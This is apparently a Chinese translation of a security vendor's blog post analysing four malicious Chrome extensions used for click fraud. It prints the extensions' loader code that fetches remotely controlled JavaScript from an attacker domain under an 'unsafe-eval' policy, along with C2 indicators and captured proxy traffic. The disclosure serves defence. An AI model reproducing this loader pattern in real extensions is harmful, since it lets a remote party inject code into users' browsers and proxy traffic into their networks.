导语:本文将介绍我们发现的技术细节,向企业通报恶意Chrome插件带来的威胁。
一、背景
大多数先进的web浏览器(包括Google浏览器)都为用户提供了安装插件的功能。虽然这些Web应用程序可以增强用户体验,但也可以通过注入和执行任意代码对工作站的安全构成威胁。为迎合用户而“简易安装”插件、对潜在风险的有限理解以及少量的补偿性控制使得企业容易受到严重且极易被忽视的攻击。对于积极主动的攻击者来说,这种方法提供了一系列的机会,从增加用于广告点击欺诈的企业资源到利用用户的工作站作为企业网络的立足点。
ICEBRG已经在与此类威胁作斗争,并与客户合作以了解浏览器插件带来的风险。最近,ICEBRG检测到客户可疑的出站网络流量,由此开展调查,结果发现了四个恶意插件,影响超过50万用户,包括全球主要企业的工作站。尽管可能只是用于点击欺诈和/或搜索引擎优化(SEO),但这些插件提供了一个立足点,即攻击者可以利用它来访问企业网络和用户信息。虽然收入尚不清楚,但2013年发现的类似僵尸网络在被取消之前每个月能获得600万美元的收入。本博客将介绍我们发现的技术细节,向企业通报恶意Chrome插件带来的威胁。
在发布博客之前,ICEBRG已通知相关各方,包括荷兰国家网络安全中心(NCSC-NL)、美国计算机应急准备小组(US-CERT)、Google安全浏览运营团队以及受此恶意软件直接影响的ICEBRG客户。
注意:从Chrome Web Store中删除恶意插件可能无法将其从受影响的主机中删除。此外,使用第三方Chrome插件程序库可能仍然允许安装插件。
二、检测和识别
ICEBRG的安全研究团队(SRT)在检查从客户工作站到欧洲VPS提供商的异常出站流量时,利用ICEBRG平台捕获的目标数据包收集到了指向外部IP-109.206.161.14的流量。分析发现,来自change-request . info的HTTP流量是观察到高峰的原因,该域名出自可疑的Chrome浏览器插件,ID为ppmibgfeefcglejjlpeihfdimbkfbbnm(图1)。此插件的ID与Google Chrome Web Store提供的名为“Change HTTP Request Header ”的插件相关(图2)。
图1: 良性Chrome插件配置更新 ( Chrome Store删除之前)
图2: Chrome Store中的Change HTTP Request Header
三、技术概述
Change HTTP Request Header插件本身不包含任何公开的恶意代码。 然而ICEBRG确定了两个焦点问题,即通过插件可以实现任意JavaScript代码的注入和执行。
恶意JAVASCRIPT注入
在设计上,Chrome的JavaScript引擎评估(执行)JSON中包含的JavaScript代码。出于安全考虑,Chrome会阻止插件从外部源检索JSON,插件必须通过内容安全策略(CSP)明确要求使用外部源。当插件启用了unsafe-eval(图3)权限来执行此类操作时,就会从外部控制的服务器检索并处理JSON。这种情形之下,插件作者可以在更新服务器收到请求时注入和执行任意JavaScript代码。
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"
Change HTTP Request Header插件使用update_presets()函数从change-request . info(图4)下载JSON blob。
var presets = {}; (function update_presets() { $.getJSON( "http://change-request.info/presets" ) .done( function ( data ) { presets = data.presets; data.timeout && setTimeout( update_presets, data.timeout ); } ) .fail( function () { setTimeout( update_presets, 60E3 ); } ); })();
在分析捕获的数据包过程中,ICEBRG观察到控制服务器change-request .info将混淆后的JavaScript返回给受害主机(图5)。 之后,插件将评估和执行该JavaScript。执行代码的一个组件检查是否存在本机Chrome调试工具(chrome:// inspect /和chrome:// net-internals /),如果检测到,则暂停执行注入段。这很可能是开发人员为了避免检测并延长其功能而实施的反分析技术。
图5: 恶意配置更新
浏览器代理
一旦注入,恶意JavaScript就会与change-request. info建立一个WebSocket隧道。 然后插件利用此WebSocket经由受害者的浏览器代理浏览流量(图6)。在观察期间,攻击者只能利用这一点访问相关广告域名,这表明点击欺诈行为正在进行中。点击欺诈行为能够让恶意方迫使受害者系统访问每次点击支付(PPC)的广告网站来赚取收入。同理,攻击者也可以浏览受害者网络的内部站点,从而有效绕过旨在保护内部资产免受外界影响的边界控制。
图6: 攻击行为
图7和8显示了恶意插件和控制服务器之间的交互示例。这些交互显示客户端接收任务浏览远程站点,并接收浏览所需的头部信息。
图9显示了在交互示例期间从捕获数据包中观察到的代理流量。如上所述,代理流量表明存在点击欺诈行为。
{"id":5,"data":{"method":"GET","url":"http://xml.onwardclick.com/filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287", "headers":{"host":"xml.onwardclick.com","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36","accept":"text/html,application/xhtml+xml,application/xml; q=0.9,image/webp,*/*;q=0.8","referer":"http://f1nd.net/","accept-encoding":"gzip, deflate, sdch","accept-language":"en-US,en;q=0.8"}, "timeout":30000,"body":""}}
{"id":5,"type":"data","data":"<!DOCTYPE HTML>n<html>n<head>n<script type="text/javascript">nvar tqs=[{"id":"rs","url":"//8328.bapi.adsafeprotected.com/bapi?anIdu003d8328u0026pubIdu003d62927u0026advIdu003d143 u0026campIdu003d137u0026auth_tokenu003dX6WM9yX5fgyLOv1lY39
GET /filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287 HTTP/1.1 Host: xml.onwardclick.com User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 upgrade-insecure-requests: 1 referer: http://f1nd.net/ Connection: close HTTP/1.1 200 OK Cache-Control: no-store Pragma: no-cache Age: 0 Content-Type: text/html; charset=utf-8 Set-Cookie: c-1143473719=-1412980242;Path=/ Content-Length: 3206 <!DOCTYPE HTML> <html> <head> <script type="text/javascript"> var tqs=[{"id":"rs","url":"//8328.bapi.adsafeprotected.com/bapi?anIdu003d8328u0026pubIdu003d62927u0026advIdu003d143u0026campId u003d137u0026auth_tokenu003dX6WM9yX5fgyLOv1lY39tvg%3D%3D"}];
相关的恶意CHROME插件
基于策略、技术、过程(TTP)以及命令和控制(C2)的相似性,ICEBRG确认以下插件与Change HTTP Request Header 相关:
注意:插件用户数量参见2017年12月的Chrome Web Store。
**表示Chrome Web Store不再提供的插件。
与Change HTTP Request Header一样,Nyoogle和LiteLite Bookmarks同样使用CSP启用了unsafe-eva,在定期更新/登记时使用jQuery.getJSON()注入任意JavaScript。
Stickies也通过CSP启用unsafe-eval,但试图通过修改其包含的jQuery库来混淆它检索外部JavaScript的功能。具体来说,Stickies在ajax()方法中包含了JavaScript(图10),如果代码识别数据里面的magic字符串==,那么ajax()就会将检索数据的MIME类型由text转变为script。这就导致检索数据被评估为JavaScript,并通过依赖于ajax()的方法(如jQuery.get())提供代码注入路径。
ICEBRG观察到——注入到Stickies中的JavaScript与其他恶意插件中的几乎相同。
图10: jQuery库修改
这不是ICEBRG第一次发现Stickies插件中的问题。2017年初ICEBRG在Stickies插件的一个更新中发现了与Change HTTP Request Header相同的代码注入技术,Google在收到ICEBRG提醒后删除了该插件。
结论
用户工作站的“卫生”是一个难以解决的问题,更困难的是,通过使用多种方法后代码执行起来更像合法应用程序和插件。在这种情形下,第三方Google插件的固有信任以及用户控制这些插件的风险使得大量的欺诈行为得以成功。在一个顶级攻击者手中,相同的工具和技术可以由“桥头堡”进入目标网络。
上述恶意Chrome插件的安装用户总量提供了大量用于欺诈和获取收益的资源。这些技术的高收益率将继续激发犯罪分子探索创造类似的僵尸网络。值得注意的是,尽管Google正在努力为企业提供更多的选择来管理Chrome插件,但如果没有上游审查或控制技术,恶意Chrome插件将继续对企业网络构成威胁。
附录A—恶意CHROME插件列表